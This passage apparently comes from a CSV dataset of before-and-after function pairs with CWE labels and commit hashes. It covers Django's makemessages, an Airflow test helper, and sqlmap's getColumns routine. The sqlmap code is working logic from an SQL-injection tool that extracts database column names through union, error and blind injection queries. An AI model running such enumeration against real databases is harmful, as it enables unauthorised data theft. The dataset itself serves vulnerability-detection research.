        extensions=None, symlinks=False, ignore_patterns=None, no_wrap=False,
        no_location=False, no_obsolete=False, stdout=sys.stdout):
    """"""
    Uses the ``locale/`` directory from the Django Git tree or an
    application/project to process all files with translatable literals for
    the :param domain: domain and :param locale: locale.
    """"""
    # Need to ensure that the i18n framework is enabled
    from django.conf import settings
    if settings.configured:
        settings.USE_I18N = True
    else:
        settings.configure(USE_I18N = True)

    if ignore_patterns is None:
        ignore_patterns = []

    invoked_for_django = False
    if os.path.isdir(os.path.join('conf', 'locale')):
        localedir = os.path.abspath(os.path.join('conf', 'locale'))
        invoked_for_django = True
        # Ignoring all contrib apps
        ignore_patterns += ['contrib/*']
    elif os.path.isdir('locale'):
        localedir = os.path.abspath('locale')
    else:
        raise CommandError(""This script should be run from the Django Git ""
                ""tree or your project or app tree. If you did indeed run it ""
                ""from the Git checkout or your project or application, ""
                ""maybe you are just missing the conf/locale (in the django ""
                ""tree) or locale (for project and application) directory? It ""
                ""is not created automatically, you have to create it by hand ""
                ""if you want to enable i18n for your project or application."")

    if domain not in ('django', 'djangojs'):
        raise CommandError(""currently makemessages only supports domains 'django' and 'djangojs'"")

    if (locale is None and not all) or domain is None:
        message = ""Type '%s help %s' for usage information."" % (os.path.basename(sys.argv[0]), sys.argv[1])
        raise CommandError(message)

    # We require gettext version 0.15 or newer.
    output, errors, status = _popen('xgettext --version')
    if status != STATUS_OK:
        raise CommandError(""Error running xgettext. Note that Django ""
                    ""internationalization requires GNU gettext 0.15 or newer."")
    match = re.search(r'(?P<major>\d+)\.(?P<minor>\d+)', output)
    if match:
        xversion = (int(match.group('major')), int(match.group('minor')))
        if xversion < (0, 15):
            raise CommandError(""Django internationalization requires GNU ""
                    ""gettext 0.15 or newer. You are using version %s, please ""
                    ""upgrade your gettext toolset."" % match.group())

    locales = []
    if locale is not None:
        locales.append(str(locale))
    elif all:
        locale_dirs = filter(os.path.isdir, glob.glob('%s/*' % localedir))
        locales = [os.path.basename(l) for l in locale_dirs]

    wrap = '--no-wrap' if no_wrap else ''
    location = '--no-location' if no_location else ''

    for locale in locales:
        if verbosity > 0:
            stdout.write(""processing language %s\n"" % locale)
        basedir = os.path.join(localedir, locale, 'LC_MESSAGES')
        if not os.path.isdir(basedir):
            os.makedirs(basedir)

        pofile = os.path.join(basedir, '%s.po' % str(domain))
        potfile = os.path.join(basedir, '%s.pot' % str(domain))

        if os.path.exists(potfile):
            os.unlink(potfile)

        for dirpath, file in find_files(""."", ignore_patterns, verbosity,
                stdout, symlinks=symlinks):
            process_file(file, dirpath, potfile, domain, verbosity, extensions,
                    wrap, location, stdout)

        if os.path.exists(potfile):
            write_po_file(pofile, potfile, domain, locale, verbosity, stdout,
                    not invoked_for_django, wrap, location, no_obsolete)",CWE-Unknown,django/django,c91667338a4e774e2819ccf4da852dc7b759bc19,"def make_messages(locale=None, domain='django', verbosity=1, all=False,
        extensions=None, symlinks=False, ignore_patterns=None, no_wrap=False,
        no_location=False, no_obsolete=False, stdout=sys.stdout):
    """"""
    Uses the ``locale/`` directory from the Django Git tree or an
    application/project to process all files with translatable literals for
    the :param domain: domain and :param locale: locale.
    """"""
    # Need to ensure that the i18n framework is enabled
    from django.conf import settings
    if settings.configured:
        settings.USE_I18N = True
    else:
        settings.configure(USE_I18N = True)

    if ignore_patterns is None:
        ignore_patterns = []

    invoked_for_django = False
    if os.path.isdir(os.path.join('conf', 'locale')):
        localedir = os.path.abspath(os.path.join('conf', 'locale'))
        invoked_for_django = True
        # Ignoring all contrib apps
        ignore_patterns += ['contrib/*']
    elif os.path.isdir('locale'):
        localedir = os.path.abspath('locale')
    else:
        raise CommandError(""This script should be run from the Django Git ""
                ""tree or your project or app tree. If you did indeed run it ""
                ""from the Git checkout or your project or application, ""
                ""maybe you are just missing the conf/locale (in the django ""
                ""tree) or locale (for project and application) directory? It ""
                ""is not created automatically, you have to create it by hand ""
                ""if you want to enable i18n for your project or application."")

    if domain not in ('django', 'djangojs'):
        raise CommandError(""currently makemessages only supports domains 'django' and 'djangojs'"")

    if (locale is None and not all) or domain is None:
        message = ""Type '%s help %s' for usage information."" % (os.path.basename(sys.argv[0]), sys.argv[1])
        raise CommandError(message)

    # We require gettext version 0.15 or newer.
    output, errors, status = _popen('xgettext --version')
    if status != STATUS_OK:
        raise CommandError(""Error running xgettext. Note that Django ""
                    ""internationalization requires GNU gettext 0.15 or newer."")
    match = re.search(r'(?P<major>\d+)\.(?P<minor>\d+)', output)
    if match:
        xversion = (int(match.group('major')), int(match.group('minor')))
        if xversion < (0, 15):
            raise CommandError(""Django internationalization requires GNU ""
                    ""gettext 0.15 or newer. You are using version %s, please ""
                    ""upgrade your gettext toolset."" % match.group())

    locales = []
    if locale is not None:
        locales.append(locale)
    elif all:
        locale_dirs = filter(os.path.isdir, glob.glob('%s/*' % localedir))
        locales = [os.path.basename(l) for l in locale_dirs]

    wrap = '--no-wrap' if no_wrap else ''
    location = '--no-location' if no_location else ''

    for locale in locales:
        if verbosity > 0:
            stdout.write(""processing language %s\n"" % locale)
        basedir = os.path.join(localedir, locale, 'LC_MESSAGES')
        if not os.path.isdir(basedir):
            os.makedirs(basedir)

        pofile = os.path.join(basedir, '%s.po' % domain)
        potfile = os.path.join(basedir, '%s.pot' % domain)

        if os.path.exists(potfile):
            os.unlink(potfile)

        for dirpath, file in find_files(""."", ignore_patterns, verbosity,
                stdout, symlinks=symlinks):
            process_file(file, dirpath, potfile, domain, verbosity, extensions,
                    wrap, location, stdout)

        if os.path.exists(potfile):
            write_po_file(pofile, potfile, domain, locale, verbosity, stdout,
                    not invoked_for_django, wrap, location, no_obsolete)"
,UNKNOWN,UNKNOWN,tests/api_experimental/common/test_mark_tasks.py,1,"def _verify_dag_run_state(self, dag, date, state):
        drs = models.DagRun.find(dag_id=dag.dag_id, execution_date=date)
        dr = drs[0]

        assert dr.get_state() == state",CWE-703,apache/airflow,18ea9be57f2cac99965763eb5ec9b3523da05195,"def _verify_dag_run_state(self, dag, date, state):
        drs = models.DagRun.find(dag_id=dag.dag_id, execution_date=date)
        dr = drs[0]

        assert dr.get_state() == state"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/databases.py,0,"def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = ""missing database parameter. sqlmap is going ""
                warnMsg += ""to use the current database to enumerate ""
                warnMsg += ""table(s) columns""
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

            if not conf.db:
                errMsg = ""unable to retrieve the current ""
                errMsg += ""database name""
                raise SqlmapNoneDataException(errMsg)

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = ""only one database name is allowed when enumerating ""
                errMsg += ""the tables' columns""
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(',')
        else:
            colList = []

        if conf.exclude:
            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = [_ for _ in colList if _]

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = list(kb.data.cachedTables.values())

                if isListLike(tblList[0]):
                    tblList = tblList[0]

                tblList = list(tblList)
            elif not conf.search:
                errMsg = ""unable to retrieve the tables ""
                errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return kb.data.cachedColumns

        tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = ""information_schema not available, ""
                errMsg += ""back-end DBMS is MySQL < 5.0""
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = ""cannot retrieve column names, ""
                errMsg += ""back-end DBMS is %s"" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}

                return kb.data.cachedColumns

            message = ""do you want to use common column existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else ""[y/N/q]"")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = ""fetched tables' columns on ""
                    infoMsg += ""database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = ""fetching columns ""
                condQuery = """"

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += ""LIKE '%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = ""='%s'""
                        infoMsg += ""'%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = ""%%s%s"" % colCondParam
                    condQuery = "" AND (%s)"" % "" OR "".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
                                                      conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(""."")[-1])
                    query += condQuery.replace(""[DB]"", conf.db)
                elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
                    query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl)

                if dumpMode and colList:
                    values = [(_,) for _ in colList]
                else:
                    infoMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    values = None
                    if Backend.isDbms(DBMS.MSSQL) and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        expression = query
                        kb.dumpColumns = []
                        kb.rowXmlMode = True

                        for column in (extractRegexResult(r""SELECT (?P<result>.+?) FROM"", query) or """").split(','):
                            kb.dumpColumns.append(randomStr().lower())
                            expression = expression.replace(column, ""%s AS %s"" % (column, kb.dumpColumns[-1]), 1)

                        values = unionUse(expression)
                        kb.rowXmlMode = False
                        kb.dumpColumns = None

                    if values is None:
                        values = inject.getValue(query, blind=False, time=False)
                        if values and isinstance(values[0], six.string_types):
                            values = [values]

                if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
                    index, values = 1, []

                    while True:
                        query = rootQuery.inband.query2 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index)
                        value = unArrayizeValue(inject.getValue(query, blind=False, time=False))

                        if isNoneValue(value) or value == "" "":
                            break
                        else:
                            values.append((value,))
                            index += 1

                if Backend.isDbms(DBMS.SQLITE):
                    if dumpMode and colList:
                        if conf.db not in kb.data.cachedColumns:
                            kb.data.cachedColumns[conf.db] = {}
                        kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList)
                    else:
                        parseSqliteTableSchema(unArrayizeValue(values))

                elif not isNoneValue(values):
                    table = {}
                    columns = {}

                    for columnData in values:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if conf.getComments:
                                    _ = queries[Backend.getIdentifiedDbms()].column_comment
                                    if hasattr(_, ""query""):
                                        if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper()))
                                        else:
                                            query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name))

                                        comment = unArrayizeValue(inject.getValue(query, blind=False, time=False))
                                        if not isNoneValue(comment):
                                            infoMsg = ""retrieved comment '%s' for column '%s'"" % (comment, name)
                                            logger.info(infoMsg)
                                    else:
                                        warnMsg = ""on %s it is not "" % Backend.getIdentifiedDbms()
                                        warnMsg += ""possible to get column comments""
                                        singleTimeWarnMessage(warnMsg)

                                if len(columnData) == 1:
                                    columns[name] = None
                                else:
                                    key = int(columnData[1]) if isinstance(columnData[1], six.string_types) and columnData[1].isdigit() else columnData[1]
                                    if Backend.isDbms(DBMS.FIREBIRD):
                                        columnData[1] = FIREBIRD_TYPES.get(key, columnData[1])
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        notNull = False
                                        if isinstance(key, int) and key > 255:
                                            key -= 256
                                            notNull = True
                                        columnData[1] = INFORMIX_TYPES.get(key, columnData[1])
                                        if notNull:
                                            columnData[1] = ""%s NOT NULL"" % columnData[1]

                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = ""fetched tables' columns on ""
                    infoMsg += ""database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = ""fetching columns ""
                condQuery = """"

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += ""LIKE '%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = ""='%s'""
                        infoMsg += ""'%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = ""%%s%s"" % colCondParam
                    condQuery = "" AND (%s)"" % "" OR "".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(""."")[-1])
                    query += condQuery.replace(""[DB]"", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.INFORMIX):
                    query = rootQuery.blind.count % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    if dumpMode and colList:
                        if conf.db not in kb.data.cachedColumns:
                            kb.data.cachedColumns[conf.db] = {}
                        kb.data.cachedColumns[conf.db][safeSQLIdentificatorNaming(conf.tbl, True)] = dict((_, None) for _ in colList)
                    else:
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl)
                        value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                        parseSqliteTableSchema(unArrayizeValue(value))

                    return kb.data.cachedColumns

                table = {}
                columns = {}

                if dumpMode and colList:
                    count = 0
                    for value in colList:
                        columns[safeSQLIdentificatorNaming(value)] = None
                else:
                    infoMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        if Backend.isDbms(DBMS.MSSQL):
                            count, index, values = 0, 1, []
                            while True:
                                query = rootQuery.blind.query3 % (conf.db, unsafeSQLIdentificatorNaming(tbl), index)
                                value = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if isNoneValue(value) or value == "" "":
                                    break
                                else:
                                    columns[safeSQLIdentificatorNaming(value)] = None
                                    index += 1

                        if not columns:
                            errMsg = ""unable to retrieve the %scolumns "" % (""number of "" if not Backend.isDbms(DBMS.MSSQL) else """")
                            errMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                            errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                            logger.error(errMsg)
                            continue

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.H2):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query = query.replace("" ORDER BY "", ""%s ORDER BY "" % condQuery)
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace(""'%s'"", ""'%s'"" % unsafeSQLIdentificatorNaming(tbl).split(""."")[-1]).replace(""%s"", conf.db).replace(""%d"", str(index))
                        query += condQuery.replace(""[DB]"", conf.db)
                        field = condition.replace(""[DB]"", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl)
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl))
                        query += condQuery
                        field = condition

                    query = agent.limitQuery(index, query, field, field)
                    column = unArrayizeValue(inject.getValue(query, union=False, error=False))

                    if not isNoneValue(column):
                        if conf.getComments:
                            _ = queries[Backend.getIdentifiedDbms()].column_comment
                            if hasattr(_, ""query""):
                                if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper()))
                                else:
                                    query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column))

                                comment = unArrayizeValue(inject.getValue(query, union=False, error=False))
                                if not isNoneValue(comment):
                                    infoMsg = ""retrieved comment '%s' for column '%s'"" % (comment, column)
                                    logger.info(infoMsg)
                            else:
                                warnMsg = ""on %s it is not "" % Backend.getIdentifiedDbms()
                                warnMsg += ""possible to get column comments""
                                singleTimeWarnMessage(warnMsg)

                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper()))
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(""."")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column)

                            colType = unArrayizeValue(inject.getValue(query, union=False, error=False))

                            key = int(colType) if hasattr(colType, ""isdigit"") and colType.isdigit() else colType
                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(key, colType)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                notNull = False
                                if isinstance(key, int) and key > 255:
                                    key -= 256
                                    notNull = True
                                colType = INFORMIX_TYPES.get(key, colType)
                                if notNull:
                                    colType = ""%s NOT NULL"" % colType

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        if not kb.data.cachedColumns:
            warnMsg = ""unable to retrieve column names for ""
            warnMsg += (""table '%s' "" % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else ""any table ""
            warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
            logger.warn(warnMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)

        return kb.data.cachedColumns",,sqlmapproject/sqlmap,422b1a6f959003501b9d7736b5f9f016ae831044,"def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = ""missing database parameter. sqlmap is going ""
                warnMsg += ""to use the current database to enumerate ""
                warnMsg += ""table(s) columns""
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

            if not conf.db:
                errMsg = ""unable to retrieve the current ""
                errMsg += ""database name""
                raise SqlmapNoneDataException(errMsg)

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = ""only one database name is allowed when enumerating ""
                errMsg += ""the tables' columns""
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(',')
        else:
            colList = []

        if conf.exclude:
            colList = [_ for _ in colList if _ not in conf.exclude.split(',')]

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = [_ for _ in colList if _]

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(',')
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            elif not conf.search:
                errMsg = ""unable to retrieve the tables ""
                errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return kb.data.cachedColumns

        tblList = filterNone(safeSQLIdentificatorNaming(_, True) for _ in tblList)

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = ""information_schema not available, ""
                errMsg += ""back-end DBMS is MySQL < 5.0""
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = ""cannot retrieve column names, ""
                errMsg += ""back-end DBMS is %s"" % DBMS.ACCESS
                logger.error(errMsg)
                bruteForce = True

        if bruteForce:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable and not conf.freshQueries or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}

                return kb.data.cachedColumns

            message = ""do you want to use common column existence check? %s"" % (""[Y/n/q]"" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else ""[y/N/q]"")
            choice = readInput(message, default='Y' if 'Y' in message else 'N').upper()

            if choice == 'N':
                return
            elif choice == 'Q':
                raise SqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = ""fetched tables' columns on ""
                    infoMsg += ""database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = ""fetching columns ""
                condQuery = """"

                if len(colList) > 0:
                    if colTuple:
                        _, colCondParam = colTuple
                        infoMsg += ""LIKE '%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        colCondParam = ""='%s'""
                        infoMsg += ""'%s' "" % "", "".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))

                    condQueryStr = ""%%s%s"" % colCondParam
                    condQuery = "" AND (%s)"" % "" OR "".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
                                                      conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(""."")[-1])
                    query += condQuery.replace(""[DB]"", conf.db)
